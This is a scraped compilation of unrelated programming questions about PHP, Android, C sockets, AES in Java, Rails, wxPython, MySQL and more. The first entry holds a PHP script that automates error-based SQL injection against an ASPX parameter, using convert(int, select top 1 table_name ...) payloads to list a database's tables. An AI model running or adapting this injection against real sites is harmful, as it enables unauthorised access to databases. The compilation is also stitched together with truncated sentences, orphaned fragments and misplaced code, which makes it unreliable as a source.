Scanning words with preg_match and adding to CURL query

Scanning words with preg_match and adding to CURL query

I'm trying to get all the tables of a particular database in the following
way:
//get_data($url) is a curl function that returns the data.
$remove="''";
do {
$returned_content = get_data($url);
$query ="+and+1=convert(int,
(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+(".$remove.")))--";
$url="http://abc.com/a.aspx?param=1'".$query;
preg_match('~\'(.*?)\'~', $returned_content, $it);
if ($remove) {
$remove = $it[0];
}
else {
$remove.= ','.$it[0];
}
}
while ((stripos($returned_content,'cannot be found') == false) &&
(stripos($returned_content,'no row') == false));
The intended purpose of the above code is to build $remove as
'table1','table2','table3' which can be used in the URL to detect other
tables in the database.
However, after the first query, which is this URL:
http://abc.com/a.aspx?param=1'+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('')))--
(note the single quotes ('') in the not in clause)
The second query is a malformed URL, where the single quotes ('') disappear:
http://abc.com/a.aspx?param=1'+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+()))--
This leads to an error, and now the preg_match function returns ')', as
the error statement says Incorrect syntax near ')'. This bracket is then
appended to $remove, and then the whole query goes wrong.
How can I fix this code so that $remove is built correctly and lists all
the tables in the DB?
P.S. I know this looks a lot like SQL Injection, but it is a personal
security project I am pursuing.

ItemsSource is empty in constructor of Custom Bound Horizontal ScrollView

ItemsSource is empty in constructor of Custom Bound Horizontal ScrollView

I'm having trouble updating Cheesebarons horizontal list view to the new
v3 MvvmCross. Everything seems to be working correctly except in the
constructor of my "BindableHorizontalListView" control the ItemsSource of
the adapter is null. Which is weird because the context shows that the
view-model property I am attempting to bind to shows very clearly there
are 3 items and the binding seems very straightforward. What am I missing?
I hope I've included enough of the code. I've also tried binding it via
fluent bindings on the "OnViewModelSet" event with the same result.

How to create dropdown with value and text node - WXPython

How to create dropdown with value and text node - WXPython

In HTML I can create drop-down menus like this:
<select name="">
<option value="">TextNode #1</option>
<option value="">TextNode #2</option>
<select>
Now I want something similar in wxPython. The problem is that I have not
found a solution, as it only allows me to place the text and not the
value.
Example wxPython( Create Dropdown ):
DropDownList = []
Options = {0:"None",1:"All",2:"WTF?!!"}
For Value, TextNode in Options:
DropDownList.append( TextNode )
wx.ComboBox(panel,value="Select",choices=DropDownList)
Well... How I can use a value addition to the text node?.. Thanks!

localtime_r support on MinGW

localtime_r support on MinGW

I'm working on a Win32 multithread C++ project and I would like to use one
of the localtime_* thread-safe alternatives to localtime().
Unfortunately I have to use MinGW compiler, and localtime_s cannot be used
outside Microsoft stuff.
The problem is that neither localtime_r is working: the related code
snippet is
#include <ctime>
...
string getCurrentTime()
{
time_t t;
time(&t);
struct tm timeinfo;
//localtime_s(&timeinfo, &t);
localtime_r(&t, &timeinfo);
char buf[128];
strftime(buf, 128, "%d-%m-%Y %X", &timeinfo);
return string(buf);
}
...
This is the compiler output:
error: 'localtime_r' was not declared in this scope
Does MinGW support localtime_r ?
If not, does exist a thread-safe alternative? (excluding boost/QT/etc that
I can't use).

Backbone: Scroll event not firing after back button is pressed

Backbone: Scroll event not firing after back button is pressed

I'm using the following function to change the primary view of my Backbone
application:
changeView: function(view, options) {
if (this.contentView) {
this.contentView.undelegateEvents();
this.contentView.stopListening();
this.contentView = null;
}
this.contentView = view;
if (!options || (options && !options.noScroll)) {
$(document).scrollTop(0);
}
this.contentView.render();
},
As you can see, I'm resetting the scroll position every time the primary
view changes (so that the user doesn't land on the middle of a view after
scrolling down on the previous view). However, when the user presses the
back button, the scroll event isn't firing at all if you try to scroll
down. If you try to scroll up, however, then the scroll positions seems to
get reset to a position further down the page, after which scrolling works
normally.
Any ideas on what the cause might be?

How to prevent that a Boost::Asio timer blocks the return of the io_service::run()?

How to prevent that a Boost::Asio timer blocks the return of the
io_service::run()?

I have the following (minimized) Class handling my server connection:
class AsioServer {
protected:
boost::asio::io_service ioService;
public:
AsioServer() {}
void add_request() {
//Adding async requests to the ioService
}
void timeout() {
//Stop all pedning async operations
ioService.stop();
}
void perform() {
//Set a timer
boost::asio::deadline_timer timer(ioService);
timer.expires_from_now(boost::posix_time::seconds(5));
timer.async_wait(std::bind(&AsioServer::timeout, this));
//Performe all Async operations
ioService.run();
ioService.reset();
}
};
My Problem is that the deadline timer prevents the return of
ioService.run() until it expires. What I want is the the timer is only
called when expering and then canceling the async operations, but not act
as work in the context of the io_service. Are there timers not acting as
work, or another good way dealing with this situation?

Pointers and array class in javascript

Pointers and array class in javascript

Is there any way for me to shorten this code by using pointers? I need to
make a class that has mostly the same function as a given array class
unshift,shift,push and pop but with different names.
var makeDeque = function()
{
var a= [], r=new Array(a);
length = r.length=0;
pushHead=function(v)
{
r.unshift(v);
}
popHead=function()
{
return r.shift();
}
pushTail=function(v)
{
r.push(v);
}
popTail=function()
{
return r.pop();
}
isEmpty=function()
{
return r.length===0;
}
return this;
};
(function() {
var dq = makeDeque();
dq.pushTail(4);
dq.pushHead(3);
dq.pushHead(2);
dq.pushHead("one");
dq.pushTail("five");
print("length " + dq.length + "last item: " + dq.popTail());
while (!dq.isEmpty())
print(dq.popHead());
})();
Output should be
length 5last item: five one 2 3 4

loading file into js variable in Rails app

loading file into js variable in Rails app

In a Rails app I need, in a js file
(app/assets/javascripts/projects.js.coffee), to load into a variable the
content of a file. The file is now stored at app/templates but I can move
it elsewhere if a different location will make it work.
I tried
$.get "app/templates/project.mustache", (template) ->
console.log template
Just to see, as first step, if the file was loaded but I get
GET http://localhost:3000/app/templates/project.mustache 404 (Not Found)
What's the right way to achieve so?
Thanks

every machine.

Cocos 2d: adding Sprite on a second loaded scene crashes

Cocos 2d: adding Sprite on a second loaded scene crashes

I have a cocos2d application for mac, with two scenes. In scene one, when
I push a button it loads the second scene by using:
[[CCDirector sharedDirector] replaceScene:[CompetitiveScene node]];
Now, on this second CCScene, in the init method I load a texture using:
CCSpriteBatchNode *parentNodeBullet = [CCSpriteBatchNode
batchNodeWithFile:@"bullet.png" capacity:100];
This makes the application crash on CCTextureCache.m : 276
dispatch_sync(_dictQueue, ^{
tex = [_textures objectForKey: path];
});
Apparently _textures has 0 key/values
I have no idea why is this happening, it's such a simple code! In scene1 I
simply have one button and one label ...
It gets more strange because if I change my workflow and load the
CompetitiveScene first, it works perfectly..
Any idea? Thanks in advanced :)

If I perform CCSprite *player = [CCSprite spriteWithFile:@"bullet.png"];

Reading from assets gives null pointer

Reading from assets gives null pointer

I hava a file in the assets folder that i want to access in a class ive
named StorageManager (just a regular class, doesnt extend anything)
public class StorageManager {
private Context context;
public StorageManager(Context context){
this.context=context;
}
public String readFileAsString(String filePath) throws
java.io.IOException {
AssetManager am = context.getAssets();
InputStream is = am.open(filePath);
String results = "";
int data = is.read();
while (data !=-1) {
results += (char)data;
data = is.read();
}
is.close();
return results;
}
}
Im creating an instance of this class within a ListFragment and passing
getActivity() as the context
However when i make a call to readFileAsString with a valid filePath I get
a NullPointerException for the line:
AssetManager am = context.getAssets();
Im assuming that means the context is null. But why? How do I fix this?



EDIT
filePath = "url" (the file is saved wth no extension in the assets folder)
But it doesnt get to the line where that is required, the file is opened
after the NullPointerError
The constructor is called within a class that extends ListFragment:
StorageManager storage = new StorageManager(getActivity());

called it and save the data back to the underlying database. This editing
needs to startActivityForResult (as a custom dialog). However I get an
error as an activity can only be invoked from another activity. I have
tried moving the startActivityForResult to a procedure in the parent
activity, but this has then to be a static procedure to be called from the
listener and I get an error as startActivityForResult can't be in a static
process. Te error is "The method startActivityForResult(Intent, int) is
undefined for the type new View.OnClickListener(){}"
Has anyone a process for invoking an activity from a view listener where
the view in a row element of a ListView?
The code below is the process I'm using in my CursorAdapter.
public class CustomCursorAdapter extends CursorAdapter {
protected static class RowViewHolder {
public Button btnLap;
public TextView tvTime;
}
public CustomCursorAdapter(Context context, Cursor c) {
super(context, c);
}
@Override
public View newView(Context context, Cursor cursor, ViewGroup parent) {
LayoutInflater inflater = LayoutInflater.from(parent.getContext());
View retView = inflater.inflate(R.layout.single_row_item, parent, false);
RowViewHolder holder = new RowViewHolder();
holder.btnLap = (Button) retView.findViewById(R.id.btn_lap);
holder.tvTime = (TextView) retView.findViewById(R.id.tv_time);
holder.btnLap.setOnClickListener(btnLapOnClickListener);
holder.tvTime.setOnClickListener(tvTimeOnClickListener);
retView.setTag(holder);
return retView;
}
...
private OnClickListener tvTimeOnClickListener = new OnClickListener() {
@Override
public void onClick(View v) {
TextView tv = (TextView) v;
String strTime = tv.getText().toString();
Intent intentTimeEdit = new Intent(getBaseContext(),
TimeEditDialog.class);
intentTimeEdit.putExtra("Time", strTime);
startActivityForResult(intentTimeEdit, EDIT_TIME_REQUEST_CODE);
}

OpenGL changing VBO data occasionally

OpenGL changing VBO data occasionally

I have a VBO for vertexes that compose a quad on screen, and I'd like to
change it when the programmer requests an image resizing.
It won't be changing frequently, it's only when (and if) someone requests
the image resize, so I don't think I should use GL_STREAM_DRAW. The VBO
will also be already loaded when this function is called.
How can I get the VBO data and change only a few values?

Shortcodes: Return different based on atts

Shortcodes: Return different based on atts

I have the following shortcode for pullquotes:
//Pullquote shortcode
function pullQuotes($atts, $content = null) {
extract(shortcode_atts(array(
"author" => ''
), $atts));
return '<blockquote>'.$content.'<p class="quote-author">' . $author .
'</p> </blockquote>';
}
add_shortcode("pullquote", "pullQuotes");
Basically I dont want the paragraph containing the $author attribute to be
returned if there is no author set (ie: the default '' value).
Any ideas?

jQuery Ajax Call to JSON not working in IE.

jQuery Ajax Call to JSON not working in IE.

I've got this code, I'm doing a ajax jquery call to json... It works in
everything but IE.
jQuery.ajax({
url: "/session/json.php",
type: "GET",
data: "",
success: function(data) {
I did some googling and I changed it to
jQuery.ajax({
url: "/session/json.php",
dataType: "json",
cache: false,
contentType: "application/json",
type: "GET",
data: "",
success: function(data) {
And Yay, it worked in IE.
However making that change broke it in all the other browsers.
I then tried:
if (jQuery.browser.msie) {
Do the bottom one, else { do the top one.
This also did not work, it seemed to work in all browsers apart from IE
again.
Has anyone else come across this error? any ideas how to fix it?
Thanks heaps.

ASP.NET multiple charts

ASP.NET multiple charts

I have multiple ( four ) <asp:chart> on a webpage.
On the first load of the page the top 2 get loaded. On
refreshing/reloading the page all of them get loaded.
Furthermore, on IE 10 /11, none of them get loaded, no matter how much I try.
I tried in web.config to use as storage file, session. Also tried
deleteAfterServicing=false.
Any ideas would be helpful. I will update the question with further
details if necessary.

imagettftext, font doesn't have & sign, how to use different font for it or how to show it?

imagettftext, font doesn't have & sign, how to use different font for it
or how to show it?

First of all is it possible to do that? If font doesn't have & sign and I
need to show it, is it possible like in css to use extra font for those
characters? Because of & sign it is showing empty space. I tried to use &
and & instead & sign(I have used and only & sign), but still nothing
helped. Maybe you have any idea, how to do that with imagettftext ? Thanks
in advance

Shared tooltip with multiple stacks

Shared tooltip with multiple stacks

I've implemented a stacked column chart with 4 series divided over 2
stacks. I want to create a tooltip for each stack that only shows info for
the series that belong to that stack. When I use shared: true option for
the tooltip formatter function, I get all the series in the
$.each(this.points, function(i, point) {}) loop.
How can I create a tooltip for each stack, while still having access to
all the series in the stack?
Any advice is appreciated.

Navigation lists, inline and with spacing

Navigation lists, inline and with spacing

i have a navigation bar and i want to be on one line it does this however
there is only one space between each item, i want them to be spaced
equally out, and flexible, so that when i change the window size they
adjust.
this is my html
<div class="navigation">
<div class="navhead">
<h2>Navigation</h2>
</div>
<div class="navlist">
<ul>
<li><a href="Home Page.html">Home</a></li>

Batch conversion of .dbf to .csv in Python

Batch conversion of .dbf to .csv in Python

I have ~300 folders with 9 .dbf files and 2 non .dbf files. I am trying to
use os.walk to find all .dbf files in a folder and then a for loop to
convert each .dbf file to a .csv file. I don't need to touch the non .dbf
files.
I was able to do a single file conversion with the dbfpy module but am
having issues scaling it up to a batch process.
My code below is based on code from here.
import csv
from dbfpy import dbf
import os
path = r"\Documents\House\DBF"
destpath = r"\Documents\House\CSV"
for root, dirnames, filenames in os.walk(path):
for filename in filenames:
if filename.endswith('.DBF'):
dbf.Dbf(filename)
out_csv = csv.writer(open(filename[:-4]+csv, 'wb'))
names = []
for field in filename.header.fields:
names.append(field.name)
out_csv.writerow(names)
for rec in filename:
out_csv.writerow(rec.fieldData)
filename.close()
I am getting the following error on the first .dbf file found:
mdr dbf.DBF
Traceback (most recent call last):
File "C:\Users\Stephen\workspace\convertDBF\src\xml2csv.py", line 13, in
<module>
dbf.Dbf(filename)
File "C:\Anaconda\lib\site-packages\dbfpy\dbf.py", line 125, in __init__
self.stream = file(f, ("r+b", "rb")[bool(readOnly)])
IOError: [Errno 2] No such file or directory: 'mdr dbf.DBF'
It's saying the file is in use in Python. I am not just concerned about
this error as I believe the code has greater issues beyond this.

mount error(13): Permission denied

mount error(13): Permission denied

I know this question has been asked before, but Ive been looking for a
solution for a couple of hours now and nothing seems to be working.
The furstrating thing is that is used to work on my previous install, so I
know the commands I try should work..
I'm running a vanilla install of Ubuntu 13.04 server.
I have a server running @ 192.168.1.130 and two shares: LaCie and Seagate
2TB.
I used to have these lines in my fstab file:
//192.168.1.130/Seagate\0402TB /home/Windows cifs
user=admin,password=password,uid=1000 0 0
Now that I reinstalled my server, but don't need it permanently I tried
the following:
sudo mount.cifs //192.168.1.130/LaCie ~/lacie -o user=admin
or
sudo mount -t cifs -o username='admin',password='<password>'
//192.168.1.130/LaCie ~/lacie
I'm sure the credentials etc are correct. Nothing has changed at the
windows side.
Also, I installed the packages "samba", "cifs-utils" too. Nothing helped.

Flattening a list of strings, got a solution but don't know why this works

Flattening a list of strings, got a solution but don't know why this works

Sorry for the vague question, but it's because I really don't understand
why this works the way it does. I found a solution for my problem here.
The thing is, my answer was exactly the same, except for (checkio(x)), I
had just (x).
So instead of this (working solution):
def checkio(data):
new_list = []
for x in data:
if type(x) == list:
new_list.extend(checkio(x))
else:
new_list.append(x)
return new_list
I had:
def checkio(data):
new_list = []
for x in data:
if type(x) == list:
new_list.extend(x)
else:
new_list.append(x)
return new_list
Why doesn't that work? Why do I need to reference to the function itself?
What is checkio(x) exactly?

LINQ error with DBNull

LINQ error with DBNull

I have a few null values in my database (wich is correct and normal)
But when I try to use LINQ I get an InvaledCastException: Converion from

How can I resolve this? I don't even get it why it throw that error, when
I use a dataview instead o the LINQ, it works perfect.

Simple drag and drop code

Simple drag and drop code

Im struggling with seemingly a simple javascript exercise, writing a

//ele.onmousedown = eleMouseDown;
ele.addEventListener ("onmousedown" , eleMouseDown , false);
function eleMouseDown () {
stateMouseDown = true;
document.addEventListener ("onmousemove" , eleMouseMove , false);

function eleMouseMove (ev) {
do {
var pX = ev.pageX;
var pY = ev.pageY;
ele.style.left = pX + "px";
ele.style.top = pY + "px";
document.addEventListener ("onmouseup" , eleMouseUp , false);
} while (stateMouseDown === true);

Reusing pickle brine

Reusing pickle brine

So I just finished a jar of home-made pickles. They were excellent! Not
too salty, a bit spicy, very good. They were so good that I'd like to get
some more pickles out of that jar. I was thinking of pickling some eggs in
that same brine. Is reusing brine ever done? Are there any reasons I
shouldn't do it? I've never heard of this being done, but I don't see why
not.

BreezeJS's 1.4.1 isolateES5Props causing Out of Stack Space error in IE 8

BreezeJS's 1.4.1 isolateES5Props causing Out of Stack Space error in IE 8

Using 1.4.1 of BreezeJS we found that some new code added to Isolate ES5
Properties is causing IE 8 to have the following error:
Error getting metadata: Metadata import failed for breeze/breeze/Metadata;
Unable to process returned metadata:Object doesn't support property or
method 'getPrototypeOf'
We tried using both Uber Proto's getPrototypeOf
(https://github.com/daffl/uberproto) and es5-sham
(https://github.com/kriskowal/es5-shim) but both result with the same
issue.
We also tried removing the regular json.parse and using json2's version
with the same results.
Metadata import failed for /breeze/breeze/Metadata; Unable to process
returned metadata:Out of stack space
Chrome, Firefox, and IE 9+ work without issue, but IE 8 support is
required. We can comment out the line to get it to work:
// isolateES5Props(proto);
But I'm guessing that will cause issues somewhere down the line.

Change heading style in latex environment

Change heading style in latex environment

I am using the acronym environment to list some acronyms at the beginning
of a thesis I am writing. However the default heading style that acronym
places doesn't match the rest of my document. I don't know lots about
defining a class myself but I did this for my contributions and abstract
pages.
\newenvironment{contributions}
{\pagestyle{empty}
\begin{alwayssingle}
\begin{center}
\vspace*{1.5cm}
{\Large \bfseries Contributions}
\end{center}
\vspace{0.5cm}
\begin{quote}}
{\end{quote}\end{alwayssingle}}
however the acronym environment does a left align heading under a line
that spans the width of the page. Is there anyway to override this style
to match the rest of my pages?
Cheers!

Passing data when you click a button?

Passing data when you click a button?

I have several buttons next to different types of textboxes throughout the
window that run the same type of flow. I have decided to clump all the
_click events into one event by adding comma delimiters with Handles. Is
there a way to tell which button was clicked through some property so that
I could enable only those specific textfields using a case statement or
something to that extent? Since it's all handled through one click
event(since i didnt want to make 10+ click events just to run the same
function that the other buttons run, save code and readability) is there
some way to find out which button was clicked ?

// Compute how long between each label.
// It will differ depending if we are dealing with a timespan of days,
if (TimeSpanOfGraph > new TimeSpan(24, 0, 0)) {
DateTimeInterval = DateTimeIntervalType.Minutes;
IntervalPeriod = 15;
}
else if (TimeSpanOfGraph > new TimeSpan(6, 0, 0)) {
DateTimeInterval = DateTimeIntervalType.Seconds;
IntervalPeriod = 30;
}

MasterPlot.ChartAreas[PlotNumber].AxisX.Title = "Absolute time";

MasterPlot.ChartAreas[PlotNumber].AxisX.LabelStyle.IntervalType =
DateTimeInterval;
MasterPlot.ChartAreas[PlotNumber].AxisX.LabelStyle.Interval = IntervalPeriod;
If I make the DateTimeInterval and IntervalPeriod too long, it won't show
up when I zoom (it'll only show "Thursday" for one point). If I make it
too narrow, it'll try to draw a label for every minute over three days. If
I set IntervalType to Auto, I get "MM/dd" as my label. :)
Curious if anyone can suggest the proper way to do this. Ditto for Y axis.

Orthogonal polynomial integrals vanish

Orthogonal polynomial integrals vanish

What is meant when an integral "vanishes" over a certain interval? For
example, between $0$ and $\pi$:
$$\int(\cos m\theta) (\cos n\theta)d\theta=0$$
Does this imply there is no area under the curve, and that these two
polynomials form a basis?

200 Test Devices in iOS Developer Account

200 Test Devices in iOS Developer Account

We have reached our 100 devices quota. We were planning to buy an
individual iOS Dev Acct, but we saw this article:
http://www.macrumors.com/2013/08/16/apple-begins-allowing-200-test-devices-per-developer-account/
Is there anyone of you who has 200 device slots as of now? One of our
managers is hesitant to purchase because he read that article. (And he saw
more articles in the past few days.)
As of now, as far as I know, Apple has not made any official announcements
regarding that as well.
Do you know if this is true? or just a hoax?
Thanks :)

How to filter data for rest API based on drop downs

How to filter data for rest API based on drop downs

I asked a similar question earlier for which I got a lot of help: How to
update model with new records in EmberJS
With that question I'm able to filter the data by making different
templates for each filter item.
But I'd like to filter the data by selecting something from the drop down
and then typing something in the text box. So if starts was selected from
the drop down and 4 was entered in the text box and submit was clicked
then the request would be made to find({stars: "4"})
Is there a way to do this? I trying to at least create the filter terms
based on the drop down selection and input text box but jquery doesn't
seem to be taking affect. I guess because the submit element is inside the
template.
Here is the jsBin for this: http://jsbin.com/OcAyoYo/18/edit

Passing value from 1 android spinner to the next spinner

Passing value from 1 android spinner to the next spinner

Hey i would like to ask how i can pass a selected value from 1 spinner to

Spinner 2 = Shows sub items for the selected item "School"
OR
Spinner 1 = "Office" is selected
Spinner 2 = Shows sub items for the selected item "Office".

ActionMailer::Base.deliveries always empty in RSpec model test in Rails 4

ActionMailer::Base.deliveries always empty in RSpec model test in Rails 4

I have the following failing test:
describe Image do
describe 'a_method' do
it 'sends email' do
Image.count.should == 1
expect do
ImageMailer.deleted_image(Image.last.id).deliver
end.to change(ActionMailer::Base.deliveries, :length)
end
end
end
And here's my mailer:
class ImageMailer < ActionMailer::Base
layout 'email'
default from: 'whee@example.com'
def deleted_image image_id, recipient='whee@example.com'
@image = Image.find(image_id)
subject = "Image email"
mail(to: recipient, subject: subject) do |format|
format.text
format.html { render layout: 'email' }
end
end
end
My test fails with Failure/Error: expect do length should have changed,
but is still 0. I have another test for my mailer itself and it passes:
describe ImageMailer do
it 'should deliver the mail' do
expect do
subject.deliver
end.to change { ActionMailer::Base.deliveries.length }.by(1)
end
end
I don't know why ActionMailer::Base.deliveries is always empty in my model
spec but not in my mailer spec. The mail obviously works. My model test
was originally different, testing whether a method on my model caused an
email to be sent, but when that failed to generate a mail delivery, I
explicitly tried the ImageMailer.deleted_image(Image.last.id).deliver line
and it didn't work. Is there something special about RSpec tests where the
object being described is a mailer class?
Here are some relevant lines from my config/environments/test.rb file:
config.action_mailer.delivery_method = :test
config.action_mailer.default_url_options = {host: 'localhost:3000'}
config.action_mailer.perform_deliveries = true

connect to tcp server whit different port.not a port that is set.c language

connect to tcp server whit different port.not a port that is set.c language

i write i tcp client in c language.tcp server is writen in java.Problem is
that i set specific port that client use but i connect to server whit
another port not port that i set. Why this is happen any idea?
connect function is:
int CONECT_T0_SERVER(void)
{
int iSetOption = 1;
sock_descriptor = socket(AF_INET, SOCK_STREAM, 0);
setsockopt(sock_descriptor, SOL_SOCKET, SO_REUSEADDR, (char*)&iSetOption,
sizeof(iSetOption));
if(sock_descriptor < 0)
printf("Failed creating socket\n");
memset(&sa_loc, 0, sizeof(struct sockaddr_in));
sa_loc.sin_family = AF_INET;
sa_loc.sin_port = htons(10002);
sa_loc.sin_addr.s_addr = inet_addr("10.10.1.30");
ret = bind(sock_descriptor, (struct sockaddr *)&sa_loc, sizeof(struct
sockaddr));
bzero((char *)&serv_addr, sizeof(serv_addr));
server = gethostbyname("10.10.1.120");
// server = gethostbyname("192.168.123.103");
//server = gethostbyname("127.0.0.1");
if(server == NULL)
{
printf("Failed finding server name\n");
return -1;
}
serv_addr.sin_family = AF_INET;
memcpy((char *) &(serv_addr.sin_addr.s_addr), (char
*)(server->h_addr), server- >h_length);
serv_addr.sin_port = htons(10000);
//serv_addr.sin_port = htons(1234);
if (connect(sock_descriptor, (struct sockaddr *)&serv_addr,
sizeof(serv_addr)) < 0)
{
printf("Failed to connect to server\n");
return -1;
}
else
{
printf("Connected successfully \n");
}
return 0;
}
server port is 10000 and client port is set to 10002 but when i connect to
server client port is different.

can I replace intel centrino wireless-n 2230 wireless card with intel(R)
wireless wifi link 4965agn?

so I have an old toshiba laptop (which used to be windows vista but I
upgraded it to windows 7) and it is core2duo and the wireless card is
intel(R) wireless wifi link 4965agn, which works really well.
I bought a new laptop recently which is made by lenovo, windows 8 touch
screen, 8GB RAM and i7. However, the wireless card SUCKS. It can't connect
to anything at all. The wireless card is intel centrino wireless-n 2230,
and it also got horrible reviews.
What I'm wondering is, can i take apart the laptop and remove and swap the
two wireless cards?

Display one div at a time

Display one div at a time

When I click on a link on the menu, a div slides down to show some
contents. But the problem is, I only want one div at a time.
As you can see on the fiddle, if you click on one link, a div appears, if
you click on another link, another div appears below the the first div.
I only want one DIV at a time. What should I modify in my javascript code
to do that?
$(document).ready(function(){
$("#flip").click(function(){
$("#panel").slideToggle("fast");

JTable.clearSelection() vs Jtable.getSelectionModel.clearSelection() - When to use what?

JTable.clearSelection() vs Jtable.getSelectionModel.clearSelection() -
When to use what?

I need to cancel all Selections within a JTable Model Object. Java
provides this function "clearSelection()" which does, what I need, as far
as I understand.
But I am confused why this function can be called on a JTable Object as
well as on a selection model for a jtable object
1) mytable.clearSelection();
2) mytable.getSelectionModel().clearSelection();
Both ways work, but I do not understand in what situation a
clearSelectuon() of a SelectionModel (like at 2) ) would make any sense.
As far as I understood SelectionModels, they are used to decide what kind
of selections a JTable allows. I use the SelectionModel to only allow a
Selection of exaclty one row
//allow only one row to be selected
mytable.setSelectionMode(ListSelectionModel.SINGLE_SELECTION);
Which way is to be prefered in what kind of situation? Is there a good
reason not to use way 1?
I would be glad if anyone has some beginnerfriendly explenation for that.
Thx in advance

Restart iterator when finished

Restart iterator when finished

I have a list and I'd like to get the values at i-1, i and i+1 positions.
When i is the first or the last index, it would throw an
IndexOutOfBoundsException. To prevent that, I would write a few
if-statements and hardcode it like that:
if (i == 0){
a = list.get(list.size()-1);
b = list.get(0);
c = list.get(1);
} else if (i == list.size()-1){
a = list.get(i-1);
b = list.get(i);
c = list.get(0);
} else {
a = list.get(i-1);
b = list.get(i);
c = list.get(i+1);
}
I find this way is a littlebit static. Let's say I want to get n entries
from the list in this way, how would you do that?

Moved app from Paid to Free (with IAB) resulted in massive ranking drop

Moved app from Paid to Free (with IAB) resulted in massive ranking drop

Yesterday I moved my app which was quite highly ranked from Paid to Free
app with in app billing. The app instantly dropped to literal obscurity
the second I did it. It was almost as if my ranking value in the database
had been reset!
Has anyone experienced this? Will the app recover in the next few days
once the rankings get calculated again?
Thanks!

Can't fix "Error: Input length must be a multiple of 16 when decrypting with a pad cipher"

Can't fix "Error: Input length must be a multiple of 16 when decrypting
with a pad cipher"

Ello! I am working a chat application that encrypts it's data through
AES/CBC/PKCS5 Padding. It works through the client sending the encrypted
message to the server where it is sent back and decrypted. Unfortunately,
whenever I decrypt the message, I get the error as follows:
javax.crypto.IllegalBlockSizeException: Input length must be multiple of
16 when decrypting with padded cipher. The encryption is based of this
program :(http://www.scottjjohnson.com/blog/AesWithCbcExample.java) which
works perfectly fine and I cannot see the difference between my code and
that one except for that I must convert from string to byte array. Here is
my code code:
Client (Encryption):
//ENCRYPTION
String message = textField.getText();
// generate a key
KeyGenerator keygen = KeyGenerator.getInstance("AES");
keygen.init(128); // To use 256 bit keys, you need the
"unlimited strength" encryption policy files from Sun.
byte[] key = keygen.generateKey().getEncoded();
SecretKeySpec skeySpec = new SecretKeySpec(key, "AES");
// build the initialization vector. This example is all
zeros, but it
// could be any value or generated using a random number
generator.
byte[] iv = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
IvParameterSpec ivspec = new IvParameterSpec(iv);
// initialize the cipher for encrypt mode
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, skeySpec, ivspec);
// encrypt the message
byte[] encrypted = cipher.doFinal(message.getBytes());
System.out.println("Ciphertext: " + encrypted + "\n");
System.out.println(encrypted);
out.println(encrypted);
textField.setText("");
Server Side:
String input = in.readLine();
writer.println("MESSAGE " + input);
Client (Decryption):
//DECRYPTION
System.out.println(line);
line = line.substring(8);
System.out.println(line);
// generate a key
KeyGenerator keygen = KeyGenerator.getInstance("AES");
keygen.init(128); // To use 256 bit keys, you need the
"unlimited strength" encryption policy files from Sun.
byte[] key = keygen.generateKey().getEncoded();
SecretKeySpec skeySpec = new SecretKeySpec(key, "AES");
// build the initialization vector. This example is all
zeros, but it
// could be any value or generated using a random number
generator.
byte[] iv = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
IvParameterSpec ivspec = new IvParameterSpec(iv);
// reinitialize the cipher for decryption
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.DECRYPT_MODE, skeySpec, ivspec);
// decrypt the message
byte[] decrypted = cipher.doFinal(line.getBytes());
System.out.println("Plaintext: " + new String(decrypted) + "\n");
messageArea.append(name + ": " + decrypted + "\n");
messageArea.setCaretPosition(messageArea.getDocument().getLength());

Wordpress: Change current user role with form selection on update (not entry creation)

Wordpress: Change current user role with form selection on update (not
entry creation)

I'm using Formidable forms and have a form that registers users. I can use
a radio button in the registration form to determine what their role will
be. I have a php hook for that. What I need, however, is a php hook that
will change the user role based on radio selection on form entry UPDATE.
My current code only works on entry creation. Here is the code that
assigns roles on registration:
add_filter('frmreg_new_role', 'frmreg_new_role', 10, 2);
function frmreg_new_role($role, $atts){
extract($atts);
if($form->id == 8){
if($_POST['item_meta'][280] == 'Job Applicant')
$role = 'applicant';
}
return $role;
}
"8" is the id of the form itself. "280" is the id of the radio button
field where "Job Applicant" is one of the values. And "applicant" is one
of our site's user roles.
I need an adaptation of this that will change the role after the entry has
already been created, on update. The closest thing I can find is a hook
that changes user role after a successful PayPal payment. I tried to
combine the two but I couldn't get it to work. Here is the PayPal
generated user role changer:
add_action('frm_payment_paypal_ipn', 'change_paid_user_role');
function change_paid_user_role($args){
$new_role = 'contributor'; //change this to the role paid users should
have
if(!$args['pay_vars']['completed'])
return; //don't continue if the payment was not completed
if(!$args['entry']->user_id or !is_numeric($args['entry']->user_id))
return; //don't continue if not linked to a user
$user = get_userdata($args['entry']->user_id);
if(!$user)
return; //don't continue if user doesn't exist
$updated_user = (array)$user;
// Get the highest/primary role for this user
$user_roles = $user->roles;
$user_role = array_shift($user_roles);
if ( $user_role == 'administrator' )
return; //make sure we don't downgrade any admins
$updated_user['role'] = $new_role;
wp_update_user($updated_user);
}
If anybody could point me toward a solution, I'd be very grateful. If any
further info is needed from me, I'm happy to provide what I can.

Added a pre commit hook to central repo (or something similar)

Added a pre commit hook to central repo (or something similar)

Ok, so I have figured out how to add a pre-commit hook that checks for a
message that will reference a JIRA item.
#!/bin/sh
test "" != "$(grep 'JIRA-' "$1")" || {
echo >&2 "ERROR: Commit message is missing Jira issue number."
exit 1
}
I add this to my local repo and all cool. Every commit I make to it has
this commit message. However, I am interested in the situation where there
is a bunch of developers all commiting to their local repos and then
pushing / pulling to a remote master on githu . What I'd like is a similar
mechanism for when the push changes to the remote repo on gitlab that they
have to similarly reference a JIRA.
What is a good way to do this?

Split delimited string value into rows

Split delimited string value into rows

Some external data vendor wants to give me a data field - pipe delimited
string value, which I find quite difficult to deal with.
Without help from an application programming language, is there a way to
transform the string value into rows?
There is a difficulty however, the field has unknown number of delimited
elements.
DB engine in question is MySQL.
For example:
Input: Tuple(1, "a|b|c")
Output:
Tuple(1, "a")
Tuple(1, "b")
Tuple(1, "c")

Haskell regex-pcre negate expression

Haskell regex-pcre negate expression

How can I achieve an inverse match so that for example
getAllTextMatches $ "foobar bar bl a" =~ pattern :: [String]
would prodcuce a list of strings that are not multiple whitespace.
I've tried
